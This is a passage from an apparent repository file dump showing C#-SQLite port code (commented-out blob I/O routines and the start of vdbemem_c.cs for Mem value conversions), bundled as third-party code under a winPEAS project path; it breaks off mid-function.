sqlite3DbFree(db, zErr);\n//      sqlite3StackFree(db, pParse);\n//  sqlite3_mutex_leave(db.mutex);\n//  return SQLITE_MISUSE;\n//}\n\n//    sqlite3BtreeEnterAll(db);\n//    pTab = sqlite3LocateTable(pParse, 0, zTable, zDb);\n//    if( pTab && IsVirtual(pTab) ){\n//      pTab = 0;\n//      sqlite3ErrorMsg(pParse, \"cannot open virtual table: %s\", zTable);\n//    }\n//#if !SQLITE_OMIT_VIEW\n//    if( pTab && pTab.pSelect ){\n//      pTab = 0;\n//      sqlite3ErrorMsg(pParse, \"cannot open view: %s\", zTable);\n//    }\n//#endif\n//    if( null==pTab ){\n//      if( sParse.zErrMsg ){\n//        sqlite3_snprintf(sizeof(zErr), zErr, \"%s\", sParse.zErrMsg);\n//      if( pParse->zErrMsg ){\n//        //sqlite3DbFree(db, zErr);\n//        zErr = pParse->zErrMsg;\n//        pParse->zErrMsg = 0;\n//      }\n//      rc = SQLITE_ERROR;\n//      (void)sqlite3SafetyOff(db);\n//      sqlite3BtreeLeaveAll(db);\n//      goto blob_open_out;\n//    }\n\n//    /* Now search pTab for the exact column. */\n//    for(iCol=0; iCol < pTab.nCol; iCol++) {\n//      if( sqlite3StrICmp(pTab.aCol[iCol].zName, zColumn)==0 ){\n//        break;\n//      }\n//    }\n//    if( iCol==pTab.nCol ){\n//      sqlite3DbFree(db, zErr);\n//      zErr = sqlite3MPrintf(db, \"no such column: \\\"%s\\\"\", zColumn);\n//      rc = SQLITE_ERROR;\n//      (void)sqlite3SafetyOff(db);\n//      sqlite3BtreeLeaveAll(db);\n//      goto blob_open_out;\n//    }\n\n//    /* If the value is being opened for writing, check that the\n//    ** column is not indexed. It is against the rules to open an\n//    ** indexed column for writing.\n//    */\n//    if( flags ){\n//      Index pIdx;\n//      for(pIdx=pTab.pIndex; pIdx; pIdx=pIdx.pNext){\n//        int j;\n//        for(j=0; j<pIdx.nColumn; j++){\n//          if( pIdx.aiColumn[j]==iCol ){\n//            sqlite3DbFree(db, zErr);\n//            zErr = sqlite3MPrintf(db,\n//                             \"cannot open indexed column for writing\");\n//            rc = SQLITE_ERROR;\n//            (void)sqlite3SafetyOff(db);\n//            sqlite3BtreeLeaveAll(db);\n//            goto blob_open_out;\n//          }\n//        }\n//      }\n//    }\n\n//    v = sqlite3VdbeCreate(db);\n//    if( v ){\n//      int iDb = sqlite3SchemaToIndex(db, pTab.pSchema);\n//      sqlite3VdbeAddOpList(v, sizeof(openBlob)/sizeof(VdbeOpList), openBlob);\n//      flags = !!flags;                 /* flags = (flags ? 1 : 0); */\n\n//      /* Configure the OP_Transaction */\n//      sqlite3VdbeChangeP1(v, 0, iDb);\n//      sqlite3VdbeChangeP2(v, 0, flags);\n\n//      /* Configure the OP_VerifyCookie */\n//      sqlite3VdbeChangeP1(v, 1, iDb);\n//      sqlite3VdbeChangeP2(v, 1, pTab.pSchema.schema_cookie);\n\n//      /* Make sure a mutex is held on the table to be accessed */\n//      sqlite3VdbeUsesBtree(v, iDb);\n\n//      /* Configure the OP_TableLock instruction */\n//      sqlite3VdbeChangeP1(v, 2, iDb);\n//      sqlite3VdbeChangeP2(v, 2, pTab->tnum);\n//      sqlite3VdbeChangeP3(v, 2, flags);\n//      sqlite3VdbeChangeP4(v, 2, pTab->zName, P4_TRANSIENT);\n\n//      /* Remove either the OP_OpenWrite or OpenRead. Set the P2\n//      ** parameter of the other to pTab->tnum.  */\n//      sqlite3VdbeChangeToNoop(v, 4 - flags, 1);\n//      sqlite3VdbeChangeP2(v, 3 + flags, pTab->tnum);\n//      sqlite3VdbeChangeP3(v, 3 + flags, iDb);\n\n//  /* Configure the number of columns. Configure the cursor to\n//  ** think that the table has one more column than it really\n//  ** does. An OP_Column to retrieve this imaginary column will\n//  ** always return an SQL NULL. This is useful because it means\n//  ** we can invoke OP_Column to fill in the vdbe cursors type\n//  ** and offset cache without causing any IO.\n//  */\n//      sqlite3VdbeChangeP4(v, 3+flags, SQLITE_INT_TO_PTR(pTab->nCol+1),P4_INT32);\n//      sqlite3VdbeChangeP2(v, 7, pTab->nCol);\n//  if( !db->mallocFailed ){\n//    sqlite3VdbeMakeReady(v, 1, 1, 1, 0);\n//  }\n//}\n\n//    sqlite3BtreeLeaveAll(db);\n//    rc = sqlite3SafetyOff(db);\n//    if( NEVER(rc!=SQLITE_OK) /* || db.mallocFailed !=0 */ ){\n//      goto blob_open_out;\n//    }\n\n//    sqlite3_bind_int64((sqlite3_stmt *)v, 1, iRow);\n//    rc = sqlite3_step((sqlite3_stmt *)v);\n//    if( rc!=SQLITE_ROW ){\n//      nAttempt++;\n//      rc = sqlite3_finalize((sqlite3_stmt *)v);\n//      sqlite3DbFree(db, zErr);\n//      zErr = sqlite3MPrintf(db, sqlite3_errmsg(db));\n//      v = 0;\n//    }\n//  } while( nAttempt<5 && rc==SQLITE_SCHEMA );\n\n//  if( rc==SQLITE_ROW ){\n//    /* The row-record has been opened successfully. Check that the\n//    ** column in question contains text or a blob. If it contains\n//    ** text, it is up to the caller to get the encoding right.\n//    */\n//    Incrblob pBlob;\n//    u32 type = v.apCsr[0].aType[iCol];\n\n//    if( type<12 ){\n//      sqlite3DbFree(db, zErr);\n//      zErr = sqlite3MPrintf(db, \"cannot open value of type %s\",\n//          type==0?\"null\": type==7?\"real\": \"integer\"\n//      );\n//      rc = SQLITE_ERROR;\n//      goto blob_open_out;\n//    }\n//    pBlob = (Incrblob *)sqlite3DbMallocZero(db, sizeof(Incrblob));\n//    if( db.mallocFailed !=0{\n//      //sqlite3DbFree(db,pBlob);\n//      goto blob_open_out;\n//    }\n//    pBlob.flags = flags;\n//    pBlob.pCsr =  v.apCsr[0].pCursor;\n//    sqlite3BtreeEnterCursor(pBlob.pCsr);\n//    sqlite3BtreeCacheOverflow(pBlob.pCsr);\n//    sqlite3BtreeLeaveCursor(pBlob.pCsr);\n//    pBlob.pStmt = (sqlite3_stmt *)v;\n//    pBlob.iOffset = v.apCsr[0].aOffset[iCol];\n//    pBlob.nByte = sqlite3VdbeSerialTypeLen(type);\n//    pBlob.db = db;\n//    ppBlob = (sqlite3_blob *)pBlob;\n//    rc = SQLITE_OK;\n//  }else if( rc==SQLITE_OK ){\n//    sqlite3DbFree(db, zErr);\n//    zErr = sqlite3MPrintf(db, \"no such rowid: %lld\", iRow);\n//    rc = SQLITE_ERROR;\n//  }\n\n//blob_open_out:\n//  if( v && (rc!=SQLITE_OK || db->mallocFailed) ){\n//    sqlite3VdbeFinalize(v);\n//  }\n//  sqlite3Error(db, rc, zErr);\n//  sqlite3DbFree(db, zErr);\n//  sqlite3StackFree(db, pParse);\n//  rc = sqlite3ApiExit(db, rc);\n//  sqlite3_mutex_leave(db->mutex);\n//  return rc;\n//}\n\n///*\n//** Close a blob handle that was previously created using\n//** sqlite3_blob_open().\n//*/\n//int sqlite3_blob_close(sqlite3_blob *pBlob){\n//  Incrblob *p = (Incrblob *)pBlob;\n//  int rc;\n//  sqlite3 *db;\n\n//  if( p ){\n//    db = p->db;\n//    sqlite3_mutex_enter(db->mutex);\n//    rc = sqlite3_finalize(p->pStmt);\n//    sqlite3DbFree(db, p);\n//    sqlite3_mutex_leave(db->mutex);\n//  }else{\n//    rc = SQLITE_OK;\n//  }\n//  return rc;\n//}\n\n/*\n** Perform a read or write operation on a blob\n*/\n//static int blobReadWrite(\n//  sqlite3_blob pBlob,\n//  void *z,\n//  int n,\n//  int iOffset,\n//  int (*xCall)(BtCursor*, u32, u32, void*)\n//){\n//  int rc;\n//  Incrblob p = (Incrblob *)pBlob;\n//  Vdbe *v;\n//  sqlite3 db;\n\n//  if( p==0 ) return SQLITE_MISUSE;\n//  db = p->db;\n//  sqlite3_mutex_enter(db.mutex);\n//    v = (Vdbe*)p->pStmt;\n\n//if( n<0 || iOffset<0 || (iOffset+n)>p->nByte ){\n//  /* Request is out of range. Return a transient error. */\n//  rc = SQLITE_ERROR;\n//  sqlite3Error(db, SQLITE_ERROR, 0);\n//} else if( v==0 ){\n\n//  /* If there is no statement handle, then the blob-handle has\n//  ** already been invalidated. Return SQLITE_ABORT in this case.\n//  */\n//    rc = SQLITE_ABORT;\n//  }else{\n//    /* Call either BtreeData() or BtreePutData(). If SQLITE_ABORT is\n//    ** returned, clean-up the statement handle.\n//    */\n//    Debug.Assert( db == v.db );\n//    sqlite3BtreeEnterCursor(p.pCsr);\n//    rc = xCall(p.pCsr, iOffset+p.iOffset, n, z);\n//    sqlite3BtreeLeaveCursor(p.pCsr);\n//    if( rc==SQLITE_ABORT ){\n//      sqlite3VdbeFinalize(v);\n//      p.pStmt = null;\n//    }else{\n//      db.errCode = rc;\n//      v.rc = rc;\n//    }\n//  }\n//  rc = sqlite3ApiExit(db, rc);\n//  sqlite3_mutex_leave(db.mutex);\n//  return rc;\n//}\n\n/*\n** Read data from a blob handle.\n*/\n//int sqlite3_blob_read(sqlite3_blob pBlob, void *z, int n, int iOffset){\n//  return blobReadWrite(pBlob, z, n, iOffset, sqlite3BtreeData);\n//}\n\n/*\n** Write data to a blob handle.\n*/\n//int sqlite3_blob_write(sqlite3_blob pBlob, const void *z, int n, int iOffset){\n//  return blobReadWrite(pBlob, (void *)z, n, iOffset, sqlite3BtreePutData);\n//}\n\n/*\n** Query a blob handle for the size of the data.\n**\n** The Incrblob.nByte field is fixed for the lifetime of the Incrblob\n** so no mutex is required for access.\n*/\n//int sqlite3_blob_bytes(sqlite3_blob pBlob){\n//  Incrblob p = (Incrblob *)pBlob;\n//  return p ? p->nByte : 0;\n//}\n\n#endif // * #if !SQLITE_OMIT_INCRBLOB */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/vdbemem_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2004 May 26\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains code use to manipulate \"Mem\" structure.  A \"Mem\"\n    ** stores a single value in the VDBE.  Mem is an opaque structure visible\n    ** only within the VDBE.  Interface routines refer to a Mem using the\n    ** name sqlite_value\n    **\n    ** $Id: vdbemem.c,v 1.152 2009/07/22 18:07:41 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include \"vdbeInt.h\"\n\n    /*\n    ** Call sqlite3VdbeMemExpandBlob() on the supplied value (type Mem*)\n    ** P if required.\n    */\n    //#define expandBlob(P) (((P)->flags&MEM_Zero)?sqlite3VdbeMemExpandBlob(P):0)\n    static void expandBlob( Mem P )\n    { if ( ( P.flags & MEM_Zero ) != 0 ) sqlite3VdbeMemExpandBlob( P ); } // TODO -- Convert to inline for speed\n\n    /*\n    ** If pMem is an object with a valid string representation, this routine\n    ** ensures the internal encoding for the string representation is\n    ** 'desiredEnc', one of SQLITE_UTF8, SQLITE_UTF16LE or SQLITE_UTF16BE.\n    **\n    ** If pMem is not a string object, or the encoding of the string\n    ** representation is already stored using the requested encoding, then this\n    ** routine is a no-op.\n    **\n    ** SQLITE_OK is returned if the conversion is successful (or not required).\n    ** SQLITE_NOMEM may be returned if a malloc() fails during conversion\n    ** between formats.\n    */\n    static int sqlite3VdbeChangeEncoding( Mem pMem, int desiredEnc )\n    {\n      int rc;\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n      Debug.Assert( desiredEnc == SQLITE_UTF8 || desiredEnc == SQLITE_UTF16LE\n      || desiredEnc == SQLITE_UTF16BE );\n      if ( ( pMem.flags & MEM_Str ) == 0 || pMem.enc == desiredEnc )\n      {\n        if ( pMem.z == null && pMem.zBLOB != null ) pMem.z = Encoding.UTF8.GetString( pMem.zBLOB );\n        return SQLITE_OK;\n      }\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n#if  SQLITE_OMIT_UTF16\n      return SQLITE_ERROR;\n#else\n\n/* MemTranslate() may return SQLITE_OK or SQLITE_NOMEM. If NOMEM is returned,\n** then the encoding of the value may not have changed.\n*/\nrc = sqlite3VdbeMemTranslate(pMem, (u8)desiredEnc);\nDebug.Assert(rc==SQLITE_OK    || rc==SQLITE_NOMEM);\nDebug.Assert(rc==SQLITE_OK    || pMem.enc!=desiredEnc);\nDebug.Assert(rc==SQLITE_NOMEM || pMem.enc==desiredEnc);\nreturn rc;\n#endif\n    }\n\n    /*\n    ** Make sure pMem.z points to a writable allocation of at least\n    ** n bytes.\n    **\n    ** If the memory cell currently contains string or blob data\n    ** and the third argument passed to this function is true, the\n    ** current content of the cell is preserved. Otherwise, it may\n    ** be discarded.\n    **\n    ** This function sets the MEM_Dyn flag and clears any xDel callback.\n    ** It also clears MEM_Ephem and MEM_Static. If the preserve flag is\n    ** not set, Mem.n is zeroed.\n    */\n    static int sqlite3VdbeMemGrow( Mem pMem, int n, int preserve )\n    {\n      // TODO -- What do we want to do about this routine?\n      //Debug.Assert( 1 >=\n      //  ((pMem.zMalloc !=null )? 1 : 0) + //&& pMem.zMalloc==pMem.z) ? 1 : 0) +\n      //  (((pMem.flags & MEM_Dyn)!=0 && pMem.xDel!=null) ? 1 : 0) +\n      //  ((pMem.flags & MEM_Ephem)!=0 ? 1 : 0) +\n      //  ((pMem.flags & MEM_Static)!=0 ? 1 : 0)\n      //);\n      //assert( (pMem->flags&MEM_RowSet)==0 );\n\n      //if( n<32 ) n = 32;\n      //if( sqlite3DbMallocSize(pMem->db, pMem.zMalloc)<n ){\n      if ( preserve != 0 )\n      {//& pMem.z==pMem.zMalloc ){\n        if ( pMem.z == null ) pMem.z = \"\";//      sqlite3DbReallocOrFree( pMem.db, pMem.z, n );\n        else pMem.z = pMem.z.Substring( 0, n );\n        preserve = 0;\n      }\n      else\n      {\n        //  //sqlite3DbFree(pMem->db,ref pMem.zMalloc);\n        pMem.z = \"\";//   sqlite3DbMallocRaw( pMem.db, n );\n      }\n      //}\n\n      //  if( pMem->z && preserve && pMem->zMalloc && pMem->z!=pMem->zMalloc ){\n      // memcpy(pMem.zMalloc, pMem.z, pMem.n);\n      //}\n      if ( ( pMem.flags & MEM_Dyn ) != 0 && pMem.xDel != null )\n      {\n        pMem.xDel( ref pMem.z );\n      }\n\n      // TODO --pMem.z = pMem.zMalloc;\n      if ( pMem.z == null )\n      {\n        pMem.flags = MEM_Null;\n      }\n      else\n      {\n        pMem.flags = (u16)( pMem.flags & ~( MEM_Ephem | MEM_Static ) );\n      }\n      pMem.xDel = null;\n      return pMem.z != null ? SQLITE_OK : SQLITE_NOMEM;\n    }\n\n    /*\n    ** Make the given Mem object MEM_Dyn.  In other words, make it so\n    ** that any TEXT or BLOB content is stored in memory obtained from\n    ** malloc().  In this way, we know that the memory is safe to be\n    ** overwritten or altered.\n    **\n    ** Return SQLITE_OK on success or SQLITE_NOMEM if malloc fails.\n    */\n    static int sqlite3VdbeMemMakeWriteable( Mem pMem )\n    {\n      int f;\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n      expandBlob( pMem );\n      f = pMem.flags;\n      if ( ( f & ( MEM_Str | MEM_Blob ) ) != 0 ) // TODO -- && pMem.z != pMem.zMalloc )\n      {\n        //if ( sqlite3VdbeMemGrow( pMem, pMem.n + 2, 1 ) != 0 )\n        //{\n        //  return SQLITE_NOMEM;\n        //}\n        //pMem.z[pMem->n] = 0;\n        //pMem.z[pMem->n + 1] = 0;\n        pMem.flags |= MEM_Term;\n      }\n\n      return SQLITE_OK;\n    }\n    /*\n    ** If the given Mem* has a zero-filled tail, turn it into an ordinary\n    ** blob stored in dynamically allocated space.\n    */\n#if !SQLITE_OMIT_INCRBLOB\nstatic int sqlite3VdbeMemExpandBlob( Mem pMem )\n{\nif ( ( pMem.flags & MEM_Zero ) != 0 )\n{\nu32 nByte;\nDebug.Assert( ( pMem.flags & MEM_Blob ) != 0 );\nDebug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\nDebug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n/* Set nByte to the number of bytes required to store the expanded blob. */\nnByte = (u32)( pMem.n + pMem.u.nZero );\nif ( nByte <= 0 )\n{\nnByte = 1;\n}\nif ( sqlite3VdbeMemGrow( pMem, (int)nByte, 1 ) != 0 )\n{\nreturn SQLITE_NOMEM;\n} /* Set nByte to the number of bytes required to store the expanded blob. */\nnByte = (u32)( pMem.n + pMem.u.nZero );\nif ( nByte <= 0 )\n{\nnByte = 1;\n}\nif ( sqlite3VdbeMemGrow( pMem, (int)nByte, 1 ) != 0 )\n{\nreturn SQLITE_NOMEM;\n}\n//memset(&pMem->z[pMem->n], 0, pMem->u.nZero);\npMem.zBLOB = Encoding.UTF8.GetBytes( pMem.z );\npMem.z = null;\npMem.n += (int)pMem.u.nZero;\npMem.u.i = 0;\npMem.flags = (u16)( pMem.flags & ~( MEM_Zero | MEM_Static | MEM_Ephem | MEM_Term ) );\npMem.flags |= MEM_Dyn;\n}\nreturn SQLITE_OK;\n}\n#endif\n\n\n    /*\n** Make sure the given Mem is \\u0000 terminated.\n*/\n    static int sqlite3VdbeMemNulTerminate( Mem pMem )\n    {\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      if ( ( pMem.flags & MEM_Term ) != 0 || ( pMem.flags & MEM_Str ) == 0 )\n      {\n        return SQLITE_OK;   /* Nothing to do */\n      }\n      //if ( pMem.n != 0 && sqlite3VdbeMemGrow( pMem, pMem.n + 2, 1 ) != 0 )\n      //{\n      //  return SQLITE_NOMEM;\n      //}\n      //  pMem.z[pMem->n] = 0;\n      //  pMem.z[pMem->n+1] = 0;\n      if ( pMem.z != null && pMem.n < pMem.z.Length ) pMem.z = pMem.z.Substring( 0, pMem.n );\n      pMem.flags |= MEM_Term;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Add MEM_Str to the set of representations for the given Mem.  Numbers\n    ** are converted using sqlite3_snprintf().  Converting a BLOB to a string\n    ** is a no-op.\n    **\n    ** Existing representations MEM_Int and MEM_Real are *not* invalidated.\n    **\n    ** A MEM_Null value will never be passed to this function. This function is\n    ** used for converting values to text for returning to the user (i.e. via\n    ** sqlite3_value_text()), or for ensuring that values to be used as btree\n    ** keys are strings. In the former case a NULL pointer is returned the\n    ** user and the later is an internal programming error.\n    */\n    static int sqlite3VdbeMemStringify( Mem pMem, int enc )\n    {\n      int rc = SQLITE_OK;\n      int fg = pMem.flags;\n      const int nByte = 32;\n\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      Debug.Assert( ( fg & MEM_Zero ) == 0 );\n      Debug.Assert( ( fg & ( MEM_Str | MEM_Blob ) ) == 0 );\n      Debug.Assert( ( fg & ( MEM_Int | MEM_Real ) ) != 0 );\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n      //assert( EIGHT_BYTE_ALIGNMENT(pMem) );\n\n      if ( sqlite3VdbeMemGrow( pMem, nByte, 0 ) != 0 )\n      {\n        return SQLITE_NOMEM;\n      }\n\n      /* For a Real or Integer, use sqlite3_snprintf() to produce the UTF-8\n      ** string representation of the value. Then, if the required encoding\n      ** is UTF-16le or UTF-16be do a translation.\n      **\n      ** FIX ME: It would be better if sqlite3_snprintf() could do UTF-16.\n      */\n      if ( ( fg & MEM_Int ) != 0 )\n      {\n        pMem.z = pMem.u.i.ToString(); //sqlite3_snprintf(nByte, pMem.z, \"%lld\", pMem->u.i);\n      }\n      else\n      {\n        Debug.Assert( ( fg & MEM_Real ) != 0 );\n        if ( Double.IsNegativeInfinity( pMem.r ) ) pMem.z = \"-Inf\";\n        else if ( Double.IsInfinity( pMem.r ) ) pMem.z = \"Inf\";\n        else if ( Double.IsPositiveInfinity( pMem.r ) ) pMem.z = \"+Inf\";\n        else if ( pMem.r.ToString().Contains( \".\" ) ) pMem.z = pMem.r.ToString().ToLower();//sqlite3_snprintf(nByte, pMem.z, \"%!.15g\", pMem->r);\n        else pMem.z = pMem.r.ToString() + \".0\";\n      }\n      pMem.n = sqlite3Strlen30( pMem.z );\n      pMem.enc = SQLITE_UTF8;\n      pMem.flags |= MEM_Str | MEM_Term;\n      sqlite3VdbeChangeEncoding( pMem, enc );\n      return rc;\n    }\n\n    /*\n    ** Memory cell pMem contains the context of an aggregate function.\n    ** This routine calls the finalize method for that function.  The\n    ** result of the aggregate is stored back into pMem.\n    **\n    ** Return SQLITE_ERROR if the finalizer reports an error.  SQLITE_OK\n    ** otherwise.\n    */\n    static int sqlite3VdbeMemFinalize( Mem pMem, FuncDef pFunc )\n    {\n      int rc = SQLITE_OK;\n      if ( ALWAYS( pFunc != null && pFunc.xFinalize != null ) )\n      {\n        sqlite3_context ctx = new sqlite3_context();\n        Debug.Assert( ( pMem.flags & MEM_Null ) != 0 || pFunc == pMem.u.pDef );\n        Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n        //memset(&ctx, 0, sizeof(ctx));\n        ctx.s.flags = MEM_Null;\n        ctx.s.db = pMem.db;\n        ctx.pMem = pMem;\n        ctx.pFunc = pFunc;\n        pFunc.xFinalize( ctx );\n        Debug.Assert( 0 == ( pMem.flags & MEM_Dyn ) && pMem.xDel == null );\n        //sqlite3DbFree(pMem.db,ref pMem.zMalloc);\n        ctx.s.CopyTo( pMem );//memcpy(pMem, &ctx.s, sizeof(ctx.s));\n        rc = ctx.isError;\n      }\n      return rc;\n    }\n\n    /*\n    ** If the memory cell contains a string value that must be freed by\n    ** invoking an external callback, free it now. Calling this function\n    ** does not free any Mem.zMalloc buffer.\n    */\n    static void sqlite3VdbeMemReleaseExternal( Mem p )\n    {\n      Debug.Assert( p.db == null || sqlite3_mutex_held( p.db.mutex ) );\n      if ( ( p.flags & ( MEM_Agg | MEM_Dyn | MEM_RowSet ) ) != 0 )\n      {\n        if ( ( p.flags & MEM_Agg ) != 0 )\n        {\n          sqlite3VdbeMemFinalize( p, p.u.pDef );\n          Debug.Assert( ( p.flags & MEM_Agg ) == 0 );\n          sqlite3VdbeMemRelease( p );\n        }\n        else if ( ( p.flags & MEM_Dyn ) != 0 && p.xDel != null )\n        {\n          Debug.Assert( ( p.flags & MEM_RowSet ) == 0 );\n          p.xDel( ref p.z );\n          p.xDel = null;\n        }\n        else if ( ( p.flags & MEM_RowSet ) != 0 )\n        {\n          sqlite3RowSetClear( p.u.pRowSet );\n        }\n      }\n      p.n = 0;\n      p.z = null;\n      p.zBLOB = null;\n      //\n      // Release additional C# pointers for backlinks\n      p._Mem = null;\n      p._SumCtx = null;\n      p._MD5Context = null;\n      p._MD5Context = null;\n    }\n\n    /*\n    ** Release any memory held by the Mem. This may leave the Mem in an\n    ** inconsistent state, for example with (Mem.z==0) and\n    ** (Mem.type==SQLITE_TEXT).\n    */\n    static void sqlite3VdbeMemRelease( Mem p )\n    {\n      sqlite3VdbeMemReleaseExternal( p );\n      //sqlite3DbFree(p.db,ref p.zMalloc);\n      p.zBLOB = null;\n      p.z = null;\n      //p.zMalloc = null;\n      p.xDel = null;\n    }\n\n    /*\n    ** Convert a 64-bit IEEE double into a 64-bit signed integer.\n    ** If the double is too large, return 0x8000000000000000.\n    **\n    ** Most systems appear to do this simply by assigning\n    ** variables and without the extra range tests.  But\n    ** there are reports that windows throws an expection\n    ** if the floating point value is out of range. (See ticket #2880.)\n    ** Because we do not completely understand the problem, we will\n    ** take the conservative approach and always do range tests\n    ** before attempting the conversion.\n    */\n    static i64 doubleToInt64( double r )\n    {\n      /*\n      ** Many compilers we encounter do not define constants for the\n      ** minimum and maximum 64-bit integers, or they define them\n      ** inconsistently.  And many do not understand the \"LL\" notation.\n      ** So we define our own static constants here using nothing\n      ** larger than a 32-bit integer constant.\n      */\n      const i64 maxInt = LARGEST_INT64;\n      const i64 minInt = SMALLEST_INT64;\n\n      if ( r < (double)minInt )\n      {\n        return minInt;\n      }\n      else if ( r > (double)maxInt )\n      {\n        /* minInt is correct here - not maxInt.  It turns out that assigning\n        ** a very large positive number to an integer results in a very large\n        ** negative integer.  This makes no sense, but it is what x86 hardware\n        ** does so for compatibility we will do the same in software. */\n        return minInt;\n      }\n      else\n      {\n        return (i64)r;\n      }\n    }\n\n    /*\n    ** Return some kind of integer value which is the best we can do\n    ** at representing the value that *pMem describes as an integer.\n    ** If pMem is an integer, then the value is exact.  If pMem is\n    ** a floating-point then the value returned is the integer part.\n    ** If pMem is a string or blob, then we make an attempt to convert\n    ** it into a integer and return that.  If pMem represents an\n    ** an SQL-NULL value, return 0.\n    **\n    ** If pMem represents a string value, its encoding might be changed.\n    */\n    static i64 sqlite3VdbeIntValue( Mem pMem )\n    {\n      int flags;\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      // assert( EIGHT_BYTE_ALIGNMENT(pMem) );\n      flags = pMem.flags;\n      if ( ( flags & MEM_Int ) != 0 )\n      {\n        return pMem.u.i;\n      }\n      else if ( ( flags & MEM_Real ) != 0 )\n      {\n        return doubleToInt64( pMem.r );\n      }\n      else if ( ( flags & ( MEM_Str | MEM_Blob ) ) != 0 )\n      {\n        i64 value = 0;\n        pMem.flags |= MEM_Str;\n        if ( sqlite3VdbeChangeEncoding( pMem, SQLITE_UTF8 ) != 0\n        || ( sqlite3VdbeMemNulTerminate( pMem ) != 0 ) )\n        {\n          return 0;\n        }\n        if ( pMem.z == null ) return 0;\n        Debug.Assert( pMem.z != null );\n        sqlite3Atoi64( pMem.z, ref value );\n        return value;\n      }\n      else\n      {\n        return 0;\n      }\n    }\n\n    /*\n    ** Return the best representation of pMem that we can get into a\n    ** double.  If pMem is already a double or an integer, return its\n    ** value.  If it is a string or blob, try to convert it to a double.\n    ** If it is a NULL, return 0.0.\n    */\n    static double sqlite3VdbeRealValue( Mem pMem )\n    {\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      //assert( EIGHT_BYTE_ALIGNMENT(pMem) );\n      if ( ( pMem.flags & MEM_Real ) != 0 )\n      {\n        return pMem.r;\n      }\n      else if ( ( pMem.flags & MEM_Int ) != 0 )\n      {\n        return (double)pMem.u.i;\n      }\n      else if ( ( pMem.flags & ( MEM_Str | MEM_Blob ) ) != 0 )\n      {\n        /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */\n        double val = (double)0;\n        pMem.flags |= MEM_Str;\n        if ( sqlite3VdbeChangeEncoding( pMem, SQLITE_UTF8 ) != 0\n        || sqlite3VdbeMemNulTerminate( pMem ) != 0 )\n        {\n          /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */\n          return (double)0;\n        }\n        if ( pMem.zBLOB != null ) sqlite3AtoF( Encoding.UTF8.GetString( pMem.zBLOB ), ref val );\n        else if ( pMem.z != null ) sqlite3AtoF( pMem.z, ref val );\n        else val = 0.0;\n        return val;\n      }\n      else\n      {\n        /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */\n        return (double)0;\n      }\n    }\n\n    /*\n    ** The MEM structure is already a MEM_Real.  Try to also make it a\n    ** MEM_Int if we can.\n    */\n    static void sqlite3VdbeIntegerAffinity( Mem pMem )\n    {\n      Debug.Assert( ( pMem.flags & MEM_Real ) != 0 );\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      //assert( EIGHT_BYTE_ALIGNMENT(pMem) );\n\n      pMem.u.i = doubleToInt64( pMem.r );\n\n      /* Only mark the value as an integer if\n      **\n      **    (1) the round-trip conversion real->int->real is a no-op, and\n      **    (2) The integer is neither the largest nor the smallest\n      **        possible integer (ticket #3922)\n      **\n      ** The second term in the following conditional enforces the second\n      ** condition under the assumption that additional overflow causes\n      ** values to wrap around.\n      */\n      if ( pMem.r == (double)pMem.u.i && ( pMem.u.i - 1 ) < ( pMem.u.i + 1 ) )\n      {\n        pMem.flags |= MEM_Int;\n      }\n    }\n\n    /*\n    ** Convert pMem to type integer.  Invalidate any prior representations.\n    */\n    static int sqlite3VdbeMemIntegerify( Mem pMem )\n    {\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n      //assert( EIGHT_BYTE_ALIGNMENT(pMem) );\n\n      pMem.u.i = sqlite3VdbeIntValue( pMem );\n      MemSetTypeFlag( pMem, MEM_Int );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Convert pMem so that it is of type MEM_Real.\n    ** Invalidate any prior representations.\n    */\n    static int sqlite3VdbeMemRealify( Mem pMem )\n    {\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      //assert( EIGHT_BYTE_ALIGNMENT(pMem) );\n\n      pMem.r = sqlite3VdbeRealValue( pMem );\n      MemSetTypeFlag( pMem, MEM_Real );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Convert pMem so that it has types MEM_Real or MEM_Int or both.\n    ** Invalidate any prior representations.\n    */\n    static int sqlite3VdbeMemNumerify( Mem pMem )\n    {\n      double r1, r2;\n      i64 i;\n      